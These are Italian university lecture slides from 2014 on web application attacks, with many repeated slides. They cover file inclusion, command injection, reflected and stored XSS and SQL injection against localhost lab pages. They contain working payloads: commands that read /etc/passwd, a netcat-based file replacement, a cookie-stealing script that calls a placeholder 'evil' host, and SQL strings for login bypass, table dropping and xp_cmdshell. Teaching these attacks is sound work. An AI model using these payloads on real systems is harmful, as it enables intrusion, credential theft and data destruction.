Università degli Studi di Milano
Facoltà di Scienze Matematiche, Fisiche e Naturali
Anno Accademico 2013/2014

Sicurezza delle applicazioni web: attacchi web

Andrea Lanzi

21 Maggio 2014

OWASP Top Ten (2010)

1. **Injection**
2. **Cross-Site Scripting (XSS)**
3. Broken Authentication and Session Management
4. Insecure Direct Object References
5. **Cross-Site Request Forgery (CSRF)**
6. Security Misconfiguration
7. Insecure Cryptographic Storage
8. Failure to Restrict URL Access
9. Insufficient Transport Layer Protection
10. Unvalidated Redirects and Forwards

OWASP Top Ten (2013)

Stato attuale controllabile al url

`https://www.owasp.org/index.php/Top_10_2013-T10`

OWASP Top Ten (2010)

1. **Injection**
2. **Cross-Site Scripting (XSS)**
3. Broken Authentication and Session Management
4. Insecure Direct Object References
5. **Cross-Site Request Forgery (CSRF)**
6. Security Misconfiguration
7. Insecure Cryptographic Storage
8. Failure to Restrict URL Access
9. Insufficient Transport Layer Protection
10. Unvalidated Redirects and Forwards

OWASP Top Ten (2013)

Stato attuale controllabile al url

`https://www.owasp.org/index.php/Top_10_2013-T10`

Environment

Sistema stabile

Un *sistema stabile* è un sistema provvisto di una risposta documentata a fronte qualsiasi cambiamento di una condizione esterna.

Sanitizzazione

La *sanitizzazione* implica la modifica del contenuto di un parametro per evitare una risposta non documentata dello script.

Problema

Separazione dei ruoli: il codice inviato dai client può "interagire" con quello presente lato server.

Environment

Sistema stabile

Un *sistema stabile* è un sistema provvisto di una risposta documentata a fronte qualsiasi cambiamento di una condizione esterna.

Sanitizzazione

La *sanitizzazione* implica la modifica del contenuto di un parametro per evitare una risposta non documentata dello script.

Problema

Separazione dei ruoli: il codice inviato dai client può "interagire" con quello presente lato server.

Environment

Sistema stabile

Un *sistema stabile* è un sistema provvisto di una risposta documentata a fronte qualsiasi cambiamento di una condizione esterna.

Sanitizzazione

La *sanitizzazione* implica la modifica del contenuto di un parametro per evitare una risposta non documentata dello script.

Problema

Separazione dei ruoli: il codice inviato dai client può "interagire" con quello presente lato server.

Source Code Injection

Include file injection

Source code injection è una vulnerabilià causata da un controllo non sufficiente sulle variabili che vengono utilizzate nelle funzioni, come ad esempio `include()`, `require()`.

Esempio:

```
<?php include("$data") ?>
```

ESEMPIO-1

http://localhost/web2/source_code_injection/

1. Vistiamo la root. Cosa vediamo?
2. Su che parametri abbiamo il controllo?
3. C'è qualche altra info che abbiamo notato nei sorgenti HTML?
4. *Basic Authentication*, come funziona? (`.htaccess` ∧ `.htpasswd`)
5. Vediamo i sorgenti di "`inclusion.php`"

Cosa vogliamo fare e/o ottenere?

- PROBLEMA-1: dove stà il file `.htpasswd`? Tiriamo ad indovinare?
- PROBLEMA-2: e i permessi? Con che permessi il file viene aperto?
- DOMANDA: e se proviamo a spostare il file dove non è raggiungibile dal web-server... Abbiamo risolto il problema?
- ma... `.htpasswd` contiene HASH e **non** le password in chiaro... e c'è persino il salting!!! Che facciamo??? :(

ESEMPIO-1

http://localhost/web2/source_code_injection/

1. Vistiamo la root. Cosa vediamo?
2. Su che parametri abbiamo il controllo?
3. C'è qualche altra info che abbiamo notato nei sorgenti HTML?
4. *Basic Authentication*, come funziona? (`.htaccess` ∧ `.htpasswd`)
5. Vediamo i sorgenti di "`inclusion.php`"

Cosa vogliamo fare e/o ottenere?

- PROBLEMA-1: dove stà il file `.htpasswd`? Tiriamo ad indovinare?
- PROBLEMA-2: e i permessi? Con che permessi il file viene aperto?
- DOMANDA: e se proviamo a spostare il file dove non è raggiungibile dal web-server... Abbiamo risolto il problema?
- ma... `.htpasswd` contiene HASH e **non** le password in chiaro... e c'è persino il salting!!! Che facciamo??? :(

Command Injection

- i linguaggi di lato server consentono l'esecuzione di comandi (e.g., **system()**, **exec()**, **popen()**, **eval()**)
- a volte nome/argomenti sono generati dinamicamente
- $\Rightarrow$ mancata sanitizzazione può introdurre vulnerabilità
- non è sempre facile applicare una sanitizzazione adeguata

Ricerca di uno `User-Agent` nei log

```
...
pattern = $_GET['chiave'];
system('cut -d ¨ -f 6 /var/log/apache2/access.log | grep -i '.$pattern );
...
```

Command Injection

- i linguaggi di lato server consentono l'esecuzione di comandi (e.g., **system()**, **exec()**, **popen()**, **eval()**)
- a volte nome/argomenti sono generati dinamicamente
- $\Rightarrow$ mancata sanitizzazione può introdurre vulnerabilità
- non è sempre facile applicare una sanitizzazione adeguata

Ricerca di uno `User-Agent` nei log

```
...
pattern = $_GET['chiave'];
system('cut -d ¨ -f 6 /var/log/apache2/access.log | grep -i '.$pattern );
...
```

Esempio di abuso:

```
cat /etc/passwd ; echo Ha-ha
```

$\Downarrow$

```
http://www.ex.com/user_agent_stat.php?chiave=cat%20/etc/passwd%20;
%20echo%20Ha-ha
```

ESEMPIO-2

http://localhost/web2/command_injection/

1. cosa sono `access.log` e `last_snapshot.log`
2. `logger_trivial.php`:
   - esempio di utilizzo
   - analisi codice sorgente
   - esempio exploit → `asdasd ; cat /etc/passwd`
3. `logger_secure.php`
   - esempio di utilizzo (come sopra)
   - proviamo a replicare l'attacco precedente

SUGGERIMENTI?

- **5 minuti** di tempo per suggerimenti senza mostravi il sorgente...

ESEMPIO-2

http://localhost/web2/command_injection/

1. cosa sono `access.log` e `last_snapshot.log`
2. `logger_trivial.php`:
   - esempio di utilizzo
   - analisi codice sorgente
   - esempio exploit → `asdasd ; cat /etc/passwd`
3. `logger_secure.php`
   - esempio di utilizzo (come sopra)
   - proviamo a replicare l'attacco precedente

SUGGERIMENTI?

- **5 minuti** di tempo per suggerimenti senza mostravi il sorgente...

ESEMPIO-2

http://localhost/web2/command_injection/

1. cosa sono `access.log` e `last_snapshot.log`
2. `logger_trivial.php`:
   - esempio di utilizzo
   - analisi codice sorgente
   - esempio exploit → `asdasd ; cat /etc/passwd`
3. `logger_secure.php`
   - esempio di utilizzo (come sopra)
   - proviamo a replicare l'attacco precedente

SUGGERIMENTI?

- **5 minuti** di tempo per suggerimenti senza mostravi il sorgente...

ESEMPIO-2 (logger_secure.php)

Sorgente di logger_secure.php

```
<?php
  if ( isset($_POST['useragent']) ){
    $pattern=$_POST['useragent'];
    if ( strpos($pattern, ";") != FALSE ){
      echo "<b>Oh, come on... Don't try to inject multiple commands</b>";
    }
    else {
      /* DOUBLE ESCAPE: first for '\', second for '"' */
      system("cut -d \\\" -f 6 access.log | grep -i ".$pattern." > last_snapshot.log");
    }
  }
?>
```

ESEMPIO-2 (logger_secure.php)

Sorgente di logger_secure.php

```
<?php
  if ( isset($_POST['useragent']) ){
    $pattern=$_POST['useragent'];
    if ( strpos($pattern, ";") != FALSE ){
      echo "<b>Oh, come on... Don't try to inject multiple commands</b>";
    }
    else {
      /* DOUBLE ESCAPE: first for '\', second for '"' */
      system("cut -d \\\" -f 6 access.log | grep -i ".$pattern." > last_snapshot.log");
    }
  }
?>
```

Richiesta:

Fare l'upload di un (fittizio) eseguibile maligno sul server e sostituirlo al file "last_snapshot.log"; fare in modo che in seguito all'upload tutti gli utenti che cerchino di scaricare il file "last_snapshot.log"ottengano invece l'eseguibile.

ESEMPIO-2 (logger_secure.php)

Sorgente di logger_secure.php

```
<?php
  if ( isset($_POST['useragent']) ){
    $pattern=$_POST['useragent'];
    if ( strpos($pattern, ";") != FALSE ){
      echo "<b>Oh, come on... Don't try to inject multiple commands</b>";
    }
    else {
      /* DOUBLE ESCAPE: first for '\', second for '"' */
      system("cut -d \\\" -f 6 access.log | grep -i ".$pattern." > last_snapshot.log");
    }
  }
?>
```

Richiesta:

Fare l'upload di un (fittizio) eseguibile maligno sul server e sostituirlo al file "last_snapshot.log"; fare in modo che in seguito all'upload tutti gli utenti che cerchino di scaricare il file "last_snapshot.log"ottengano invece l'eseguibile.

Soluzione (sequenza di parametri da inviare nelle richieste GET:

1. `$(nc -l -p 5432 -q0 > last_snapshot.log) #`
2. `$(chmod 444 last_snapshot.log) #`
3. `$(sed -i "s/href=\"last_snapshot.log=\"/href==\"last_snapshot.log.exe=\"/g" logger.php) #`

Attacchi client-side

Cross-**S**ite **S**cripting (XSS) e **C**ross-**S**ite **R**equest **F**orgery (CSRF)

- sfruttano la fiducia che un utente ha di un sito web (XSS), o viceversa (CSRF)
- attacco: modificare la pagina HTML originale, aggiungendo codice (HTML o JavaScript)
- la vittima si collega al server vulnerabile che restituisce la pagina modificata (e.g., link in e-mail, IM, link sulla rete)
- il browser interpreta il codice iniettato dall'attaccante

Esempi di obiettivi dell'attacco

1. ottenere *cookie* associati al dominio vulnerabile
2. manipolazione form di login
3. esecuzione di `GET`/`POST` addizionali
4. . . . qualunque cosa si possa fare con HTML + JavaScript!

Attacchi client-side

Cross-**S**ite **S**cripting (XSS) e **C**ross-**S**ite **R**equest **F**orgery (CSRF)

- sfruttano la fiducia che un utente ha di un sito web (XSS), o viceversa (CSRF)
- attacco: modificare la pagina HTML originale, aggiungendo codice (HTML o JavaScript)
- la vittima si collega al server vulnerabile che restituisce la pagina modificata (e.g., link in e-mail, IM, link sulla rete)
- il browser interpreta il codice iniettato dall'attaccante

Esempi di obiettivi dell'attacco

1. ottenere *cookie* associati al dominio vulnerabile
2. manipolazione form di login
3. esecuzione di `GET`/`POST` addizionali
4. . . . qualunque cosa si possa fare con HTML + JavaScript!

Reflected Cross-Site Scripting

Funzionamento

- una pagina dinamica è vulnerabile a XSS
- l'utente è indotto a accedere alla pagina vulnerabile
- l'*exploit* è **contenuto nell'URL**

Esempio:

```
http://vulnerabile/a.php?var=<script>document.location='http:
//evil/log.php?'+document.cookie</script>
```

Offuscamento

- tecniche di encoding
- nascondere il link con l'exploit dalla barra di stato
- un link innocuo effettua un redirect (HTTP 3xx)
- servizi di url-shortening

Reflected Cross-Site Scripting
Esempio

- sul server c'è una pagina PHP che contiene:

```
Benvenuto <?php echo $_GET['nome']; ?>
```

- la vittima visita il seguente url:

```
http://vulnerabile/vuln.php?nome=<script>document.location=
      'http://evil/log.php?'+document.cookie</script>
```

- il browser crea la seguente richiesta HTTP:

```
GET /vuln.php?nome=%3Cscipt%3Edocument.location%3D
    %27http%3A%2F%2Fevil%2Flog.php%3F%27%2B
    document.cookie%3C%2Fscript%3E
Host: vulnerabile
...
```

- risultato HTML prodotto dal server:

```
Benvenuto <script>document.location=
    'http://evil/log.php?'+document.cookie</script>
```

- Il browser interpreta il codice JavaScript, legge i cookie della vittima per il dominio "vulnerabile", si collega al sito evil e li passa in GET

Reflected Cross-Site Scripting
Esempio

- sul server c'è una pagina PHP che contiene:

```
Benvenuto <?php echo $_GET['nome']; ?>
```

- la vittima visita il seguente url:

```
http://vulnerabile/vuln.php?nome=<script>document.location=
      'http://evil/log.php?'+document.cookie</script>
```

- il browser crea la seguente richiesta HTTP:

```
GET /vuln.php?nome=%3Cscipt%3Edocument.location%3D
    %27http%3A%2F%2Fevil%2Flog.php%3F%27%2B
    document.cookie%3C%2Fscript%3E
Host: vulnerabile
...
```

- risultato HTML prodotto dal server:

```
Benvenuto <script>document.location=
    'http://evil/log.php?'+document.cookie</script>
```

- Il browser interpreta il codice JavaScript, legge i cookie della vittima per il dominio "vulnerabile", si collega al sito evil e li passa in GET

Reflected Cross-Site Scripting
Esempio

- sul server c'è una pagina PHP che contiene:

```
Benvenuto <?php echo $_GET['nome']; ?>
```

- la vittima visita il seguente url:

```
http://vulnerabile/vuln.php?nome=<script>document.location=
      'http://evil/log.php?'+document.cookie</script>
```

- il browser crea la seguente richiesta HTTP:

```
GET /vuln.php?nome=%3Cscipt%3Edocument.location%3D
    %27http%3A%2F%2Fevil%2Flog.php%3F%27%2B
    document.cookie%3C%2Fscript%3E
Host: vulnerabile
...
```

- risultato HTML prodotto dal server:

```
Benvenuto <script>document.location=
    'http://evil/log.php?'+document.cookie</script>
```

- Il browser interpreta il codice JavaScript, legge i cookie della vittima per il dominio "vulnerabile", si collega al sito evil e li passa in GET

- sul server c'è una pagina PHP che contiene:

```
Benvenuto <?php echo $_GET['nome']; ?>
```

- la vittima visita il seguente url:

```
http://vulnerabile/vuln.php?nome=<script>document.location=
       'http://evil/log.php?'+document.cookie</script>
```

- il browser crea la seguente richiesta HTTP:

```
GET /vuln.php?nome=%3Cscipt%3Edocument.location%3D
     %27http%3A%2F%2Fevil%2Flog.php%3F%27%2B
     document.cookie%3C%2Fscript%3E
Host: vulnerabile
...
```

- risultato HTML prodotto dal server:

```
Benvenuto <script>document.location=
    'http://evil/log.php?'+document.cookie</script>
```

- Il browser interpreta il codice JavaScript, legge i cookie della vittima per il dominio "vulnerabile", si collega al sito evil e li passa in GET

- sul server c'è una pagina PHP che contiene:

```
Benvenuto <?php echo $_GET['nome']; ?>
```

- la vittima visita il seguente url:

```
http://vulnerabile/vuln.php?nome=<script>document.location=
       'http://evil/log.php?'+document.cookie</script>
```

- il browser crea la seguente richiesta HTTP:

```
GET /vuln.php?nome=%3Cscipt%3Edocument.location%3D
     %27http%3A%2F%2Fevil%2Flog.php%3F%27%2B
     document.cookie%3C%2Fscript%3E
Host: vulnerabile
...
```

- risultato HTML prodotto dal server:

```
Benvenuto <script>document.location=
    'http://evil/log.php?'+document.cookie</script>
```

- Il browser interpreta il codice JavaScript, legge i cookie della vittima per il dominio "vulnerabile", si collega al sito evil e li passa in GET

Stored Cross-Site Scripting

Fase 1

- l'attaccante invia al server il codice da iniettare
- il server *memorizza* in modo persistente il codice (e.g., database, file, messaggio inserito in un forum)
- il codice dell'attacco **non è** visibile nell'`URL`

Fase 2

- un client si collega al server
- il server genera la pagina inserendo **in ogni risposta** anche il codice iniettato

Osservazioni

- *tutti* gli utenti che richiederanno la pagina subiranno l'attacco
- il codice iniettato *non è* visibile nell'URL
- molto più pericoloso rispetto ai *reflected*!

ESEMPIO-3

http://localhost/web2/stored_xss/

1. `forum_stored.php`:
   - analisi sorgente HTML
   - funzionamento "LOGIN"
   - funzionamento "LOGOUT"
   - funzionamento "Post it!"

SUGGERIMENTI?

- **Senza** necessità controllare i sorgenti... Essendo uno *stored-xss* dove starà la vulnerabilità?

ESEMPIO-3

http://localhost/web2/stored_xss/

1. `forum_stored.php`:
   - analisi sorgente HTML
   - funzionamento "LOGIN"
   - funzionamento "LOGOUT"
   - funzionamento "Post it!"

SUGGERIMENTI?

- **Senza** necessità controllare i sorgenti... Essendo uno *stored-xss* dove starà la vulnerabilità?

SQL injection (SQLI)

Scenario

- molte applicazioni web hanno la necessità di memorizzare dati strutturati (e.g., forum, CMS, e-commerce, blog, . . .)
- $\Rightarrow$ database

SQL Injection

Si definisce *SQL Injection* una vulnerabilità che si verifica quando un attaccante è in grado di inserire codice nella query SQL.

SQLI

- mancata validazione dell'input
- le query generate dall'applicazione contengono input
- si ha SQLI quando, manipolando l'input, è possibile modificare sintatticamente o semanticamente una query SQL

SQL injection (SQLI)

Scenario

- molte applicazioni web hanno la necessità di memorizzare dati strutturati (e.g., forum, CMS, e-commerce, blog, . . .)
- $\Rightarrow$ database

SQL Injection

Si definisce *SQL Injection* una vulnerabilità che si verifica quando un attaccante è in grado di inserire codice nella query SQL.

SQLI

- mancata validazione dell'input
- le query generate dall'applicazione contengono input
- si ha SQLI quando, manipolando l'input, è possibile modificare sintatticamente o semanticamente una query SQL

SQL injection
Esempio (PHP)

```
    ...
$nome  = $_POST['nome'];
$passw = $_POST['passw'];

$result = mysql_query("SELECT * FROM Utenti " .
          "WHERE nome='$nome' AND passw='$passw';");
if(mysql_num_rows($result) > 0 )
    ...
```

1. *nome* = mario $\wedge$ *passw* = mysecretpass
   $\rightarrow$ ... WHERE nome='mario' AND passw='xyz';
2. *nome* = admin $\wedge$ *passw* = xyz' OR '1'='1
   $\rightarrow$ ... WHERE nome='admin' AND passw='xyz' OR '1'='1';

... *quali righe seleziona l'ultima query?*

SQL injection
Esempio (PHP)

```
    ...
$nome  = $_POST['nome'];
$passw = $_POST['passw'];

$result = mysql_query("SELECT * FROM Utenti " .
          "WHERE nome='$nome' AND passw='$passw';");
if(mysql_num_rows($result) > 0 )
    ...
```

1. *nome* = mario $\wedge$ *passw* = mysecretpass
   $\rightarrow$ ... WHERE nome='mario' AND passw='xyz';
2. *nome* = admin $\wedge$ *passw* = xyz' OR '1'='1
   $\rightarrow$ ... WHERE nome='admin' AND passw='xyz' OR '1'='1';

... *quali righe seleziona l'ultima query?*

SQL injection
Esempio (PHP)

```
    ...
$nome  = $_POST['nome'];
$passw = $_POST['passw'];

$result = mysql_query("SELECT * FROM Utenti " .
          "WHERE nome='$nome' AND passw='$passw';");
if(mysql_num_rows($result) > 0 )
    ...
```

1. *nome* = mario $\wedge$ *passw* = mysecretpass
   $\rightarrow$ ... WHERE nome='mario' AND passw='xyz';
2. *nome* = admin $\wedge$ *passw* = xyz' OR '1'='1
   $\rightarrow$ ... WHERE nome='admin' AND passw='xyz' OR '1'='1';

... quali righe seleziona l'ultima query?

SQL injection
Esempio (PHP)

```
    ...
$nome  = $_POST['nome'];
$passw = $_POST['passw'];

$result = mysql_query("SELECT * FROM Utenti " .
          "WHERE nome='$nome' AND passw='$passw';");
if(mysql_num_rows($result) > 0 )
    ...
```

1. *nome* = mario $\wedge$ *passw* = mysecretpass
   $\rightarrow$ ... WHERE nome='mario' AND passw='xyz';
2. *nome* = admin $\wedge$ *passw* = xyz' OR '1'='1
   $\rightarrow$ ... WHERE nome='admin' AND passw='xyz' OR '1'='1';

... quali righe seleziona l'ultima query?

Input dell'utente

- parametri GET/POST
- molte tecnologie client-side comunicano col server tramite GET/POST (e.g., Flash, applet Java, AJAX)

Header HTTP

- *tutti* gli header HTTP devono essere considerati pericolosi
- User-Agent,Referer,... possono essere stati manipolati
- ... tutto ciò che proviene da un qualsiasi client è da considerarsi "sospetto"

Cookie

- sono header aggiuntivi
- non modificabili da un normale browser
- provengono dal client $\Rightarrow$ *pericolosi*

Second order injection

- l'input viene memorizzato dall'applicazione (file,database)
- successivamente, l'input è utilizzato senza filtraggio o sanitizzazione per la costruzione di query SQL

SQLI: Obiettivi dell'attacco

- *identificazione dei parametri iniettabili*: analizzare l'applicazione per scoprire le sorgenti d'iniezione
- *database footprinting*: scoprire tipo e versione del DBMS in uso; facilitato da una gestione inadeguata degli errori
- *determinazione del DB schema*: nomi delle tabelle, nome e tipo delle colonne
- *estrazione dati*: estrazione di dati (sensibili) dal database
- *manipolazione dei dati*: inserimento, modifica o cancellazione dei dati
- *denial of service*: impedire l'uso dell'applicazione ad altri utenti (`LOCK`, `DELETE`, ...)
- *bypassing dell'autenticazione*: eludere un meccanismo di autenticazione
- *esecuzione remota di comandi*: esecuzione di comandi (esterni al DBMS, stored procedure)

SQLI: Alcuni esempi
Bypass dell'autenticazione tramite "tautologie"

- query dell'applicazione:

```
$q = "SELECT id FROM utente WHERE user='".$user." '
AND pass=' ".$pass." ' ";
```

- parametri inviati dall'attaccante:

```
$user = "admin";
$pass = "' OR '1'='1";
```

- query eseguita dall'applicazione:

```
$q = "SELECT id FROM utente WHERE user='admin'
AND pass='' OR '1'='1'";
```

- se l'applicazione Web avesse sanitizzato l'input (e.g.,**mysql_escape_string()**):

```
$q = "SELECT id FROM utente WHERE user='admin'
AND pass='\' OR \'\'=\''";
```

SQLI: Alcuni esempi
Bypass dell'autenticazione tramite "tautologie"

- query dell'applicazione:

```
$q = "SELECT id FROM utente WHERE user='".$user." '
AND pass=' ".$pass." ' ";
```

- parametri inviati dall'attaccante:

```
$user = "admin";
$pass = "' OR '1'='1";
```

- query eseguita dall'applicazione:

```
$q = "SELECT id FROM utente WHERE user='admin'
AND pass='' OR '1'='1'";
```

- se l'applicazione Web avesse sanitizzato l'input (e.g.,**mysql_escape_string()**):

```
$q = "SELECT id FROM utente WHERE user='admin'
AND pass='\' OR \'\'=\''";
```

SQLI: Alcuni esempi
Bypass dell'autenticazione tramite "tautologie"

- query dell'applicazione:

```
$q = "SELECT id FROM utente WHERE user='".$user." '
AND pass=' ".$pass." ' ";
```

- parametri inviati dall'attaccante:

```
$user = "admin";
$pass = "' OR '1'='1";
```

- query eseguita dall'applicazione:

```
$q = "SELECT id FROM utente WHERE user='admin'
AND pass='' OR '1'='1'";
```

- se l'applicazione Web avesse sanitizzato l'input (e.g.,**mysql_escape_string()**):

```
$q = "SELECT id FROM utente WHERE user='admin'
AND pass='\' OR \'\'=\''";
```

SQLI: Alcuni esempi
Bypass dell'autenticazione tramite "tautologie"

- query dell'applicazione:

```
$q = "SELECT id FROM utente WHERE user='".$user." '
AND pass=' ".$pass." ' ";
```

- parametri inviati dall'attaccante:

```
$user = "admin";
$pass = "' OR '1'='1";
```

- query eseguita dall'applicazione:

```
$q = "SELECT id FROM utente WHERE user='admin'
AND pass='' OR '1'='1'";
```

- se l'applicazione Web avesse sanitizzato l'input (e.g.,**mysql_escape_string()**):

```
$q = "SELECT id FROM utente WHERE user='admin'
AND pass='\' OR \'\'=\''";
```

- utilizzo di commenti SQL per evitare di terminare correttamente la query

```
$user = "admin";
$pass = "' OR 1=1 -- ";
$q = "SELECT id FROM utente WHERE user='admin' AND pass='' OR 1=1 --
'";

$user = "admin";
$pass = "' OR 1 -- ";
$q = "SELECT id FROM utente WHERE user='admin' AND pass='' OR 1 -- '";

$user = "admin' #";
$q = "SELECT id FROM utente WHERE user='admin' #' AND pass=''";
```

- scelta “*blind*” del primo user disponibile

```
$user = "' OR user LIKE '%' #";
$q = "SELECT id FROM utente WHERE user='!' OR user LIKE '%' #'
AND pass=''";

$user = "' OR 1 #";
$q = "SELECT id FROM utente WHERE user='' OR 1 #' AND pass=''";
```

- utilizzo di commenti SQL per evitare di terminare correttamente la query

```
$user = "admin";
$pass = "' OR 1=1 -- ";
$q = "SELECT id FROM utente WHERE user='admin' AND pass='' OR 1=1 --
'";

$user = "admin";
$pass = "' OR 1 -- ";
$q = "SELECT id FROM utente WHERE user='admin' AND pass='' OR 1 -- '";

$user = "admin' #";
$q = "SELECT id FROM utente WHERE user='admin' #' AND pass=''";
```

- scelta “*blind*” del primo `user` disponibile

```
$user = "' OR user LIKE '%' #";
$q = "SELECT id FROM utente WHERE user='!' OR user LIKE '%' #'
AND pass=''";

$user = "' OR 1 #";
$q = "SELECT id FROM utente WHERE user='' OR 1 #' AND pass=''";
```

Obiettivo

Riuscire a reperire record da altre tabelle

- esempio di query:

```
$q = "SELECT id, nome, prezzo, descrizione" .
      "FROM prodotto WHERE categoria=" . $_GET['cat'];
```

- parametri passati dall'attaccante:

```
$cat = "1 UNION SELECT 1, user, 1, pass FROM utente";
```

- Note:
  1. numero e tipo di colonne della seconda **SELECT** devono coincidere con quelli della prima
  2. MySQL: una mancata corrispondenza fra i tipi provoca cast automatici

Obiettivo

Riuscire a reperire record da altre tabelle

- esempio di query:

```
$q = "SELECT id, nome, prezzo, descrizione" .
      "FROM prodotto WHERE categoria=" . $_GET['cat'];
```

- parametri passati dall'attaccante:

```
$cat = "1 UNION SELECT 1, user, 1, pass FROM utente";
```

- Note:
  1. numero e tipo di colonne della seconda **SELECT** devono coincidere con quelli della prima
  2. MySQL: una mancata corrispondenza fra i tipi provoca cast automatici

Obiettivo

Far si che un parametro inizialmente innocuo diventi successivamente pericoloso

- *username* inserito dall'attaccante:

```
$user = "admin'#";
```

- durante l'inserimento nel database, `$user` viene sanitizzato correttamente...
- l'utente chiede di cambiare la propria password, ma i dati non sono correttamente sanitizzati:

```
$q = "UPDATE utente SET pass=' " . $_POST['newPass'] . " '
      WHERE user=' " . $row['user'] . " ' ";
```

- query eseguita dall'applicazione:

```
$q = "UPDATE utente SET pass='password'
     WHERE user='admin'#'";
```

Obiettivo

Far si che un parametro inizialmente innocuo diventi successivamente pericoloso

- *username* inserito dall'attaccante:

```
$user = "admin'#";
```

- durante l'inserimento nel database, `$user` viene sanitizzato correttamente...
- l'utente chiede di cambiare la propria password, ma i dati non sono correttamente sanitizzati:

```
$q = "UPDATE utente SET pass=' " . $_POST['newPass'] . " '
      WHERE user=' " . $row['user'] . " ' ";
```

- query eseguita dall'applicazione:

```
$q = "UPDATE utente SET pass='password'
     WHERE user='admin'#'";
```

Obiettivo

Eseguire un numero arbitrario di query, separate da";"

- esempio di query:

```
$q = "SELECT id FROM utente WHERE user='" . $user . "'
      AND pass='" . $pass . "'";
```

- parametri passati dall'attaccante:

```
$user = "'; DROP TABLE utente -- ";
```

- query eseguita dall'applicazione:

```
$q = "SELECT id FROM utente WHERE user='';
      DROP TABLE utente -- ' AND pass='';
```

- entrambe le query vengono eseguite!

Obiettivo

Eseguire un numero arbitrario di query, separate da";"

- esempio di query:

```
$q = "SELECT id FROM utente WHERE user='" . $user . "'
      AND pass='" . $pass . "'";
```

- parametri passati dall'attaccante:

```
$user = "'; DROP TABLE utente -- ";
```

- query eseguita dall'applicazione:

```
$q = "SELECT id FROM utente WHERE user='';
      DROP TABLE utente -- "' AND pass='';
```

- entrambe le query vengono eseguite!

Obiettivo

Recuperare informazioni su tabelle, DBMS, ...

- esempio di attacco:

```
$user = "' HAVING 1=1 -- ";
```

- query eseguita dall'applicazione:

```
SELECT * FROM users WHERE username=''
HAVING 1=1 -- ' AND password=''
```

- possibile risposta del server:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'users.id' is invalid in the select list because it is
not contained in an aggregate function and there is no
GROUP BY clause.
/process_login.asp, line 35
```

Obiettivo

Recuperare informazioni su tabelle, DBMS, ...

- esempio di attacco:

```
$user = "' HAVING 1=1 -- ";
```

- query eseguita dall'applicazione:

```
SELECT * FROM users WHERE username=''
HAVING 1=1 -- ' AND password=''
```

- possibile risposta del server:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'users.id' is invalid in the select list because it is
not contained in an aggregate function and there is no
GROUP BY clause.
/process_login.asp, line 35
```

Obiettivo

Esecuzione di comandi remoti (stored procedure)

- `MSSQL` mette a disposizione circa 1000 stored procedure, per gestione database, creazione tabelle, gestione dati esterni, ...
- `xp_cmdshell` consente l'esecuzione di comandi sulla macchina
- esempio:

```
'; EXEC master..xp_cmdshell 'dir c:' --
```

- affidata ai programmatori
- i programmatori spesso si affidano a metodi "automagici" (e.g., in PHP, `magic_quotes_gpc` fa escaping tramite **addslashes()**)
- la sanitizzazione *dipende* dall'attacco contro cui ci si vuole proteggere!
- sanitizzazione tramite regexp può essere "*tricky*"
- se ci aspetta un numero come parametro, verificare che sia tale
- . . . è possibile costruire stringhe senza utilizzare apici (`AAA` $\Leftrightarrow$ char(65,65,65))

Esercizi

Tutti gli esercizi al seguente url:

`http://gamebox.laser.di.unimi.it/aa1314_sec1_web2/`

HINT

Gli esercizi sono in ordine crescente di difficoltà...
Partite dai primi!

Bibliografia

- RFC HTTP

  http://tools.ietf.org/html/rfc2109 (HTTP State Management Mechanism)

- OWASP

  XSS http://www.owasp.org/index.php/XSS_Attacks
  CSRF http://www.owasp.org/index.php/CSRF

- Altro

  M. Kolsek Session Fixation Vulnerability in Web-based Applications
  http://www.acros.si/papers/session_fixation.pdf
  Samy virus: http://namb.la/popular/
  A Classification of SQL Injection Attacks and Countermeasures
  http://www.cc.gatech.edu/~orso/papers/halfond.viegas.orso.ISSSE06.pdf
  Advanced SQL Injection In SQL Server Applications
  http://www.nextgenss.com/papers/advanced_sql_injection.pdf
  bypassing Google Chrome Anti-XSS filter
  http://seclists.org/fulldisclosure/2013/Jan/161
  http://blog.securitee.org/?p=37